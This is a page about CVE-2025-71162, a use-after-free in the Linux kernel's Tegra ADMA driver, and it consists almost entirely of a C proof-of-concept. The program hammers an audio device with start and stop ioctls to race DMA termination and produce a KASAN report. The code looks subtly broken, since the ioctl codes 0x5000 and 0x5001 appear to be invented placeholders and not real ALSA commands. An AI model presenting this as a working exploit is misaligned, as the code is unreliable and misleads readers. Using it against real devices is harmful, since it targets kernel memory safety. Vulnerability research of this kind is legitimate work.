CVE-2025-71162: Linux内核Tegra ADMA驱动use-after-free漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/dma-buf.h> /* PoC for CVE-2025-71162: Tegra ADMA Use-After-Free * This demonstrates the race condition between DMA completion * and termination that leads to UAF. * * Compile: gcc -o cve-2025-71162-poc cve-2025-71162-poc.c * Run as low-privilege user on affected Tegra device */ #define MAX_ITERATIONS 1000 int trigger_race_condition(int audio_fd) { /* Rapidly start/stop DMA transfers to trigger race */ for (int i = 0; i < MAX_ITERATIONS; i++) { /* Start DMA transfer */ if (ioctl(audio_fd, 0x5000, NULL) < 0) { /* AUDIO_START */ perror("start failed"); return -1; } usleep(1); /* Minimal delay to increase race window */ /* Abruptly terminate - triggers tegra_adma_terminate_all() */ if (ioctl(audio_fd, 0x5001, NULL) < 0) { /* AUDIO_STOP */ perror("stop failed"); return -1; } /* Continue rapidly to hit race window */ } return 0; } int main(int argc, char *argv[]) { int audio_fd; printf("CVE-2025-71162 PoC - Tegra ADMA Use-After-Free\n"); printf("Target: Linux kernel < fixed version\n"); /* Open audio device with Tegra ADMA driver */ audio_fd = open("/dev/snd/pcmC0D0p", O_RDWR); if (audio_fd < 0) { /* Try alternative device paths */ audio_fd = open("/dev/audio", O_RDWR); if (audio_fd < 0) { perror("Cannot open audio device"); return 1; } } printf("Audio device opened, triggering race condition...\n"); /* Trigger the UAF race condition */ if (trigger_race_condition(audio_fd) < 0) { printf("Trigger failed\n"); } else { printf("Race condition triggered - check dmesg for KASAN report\n"); } close(audio_fd); return 0; }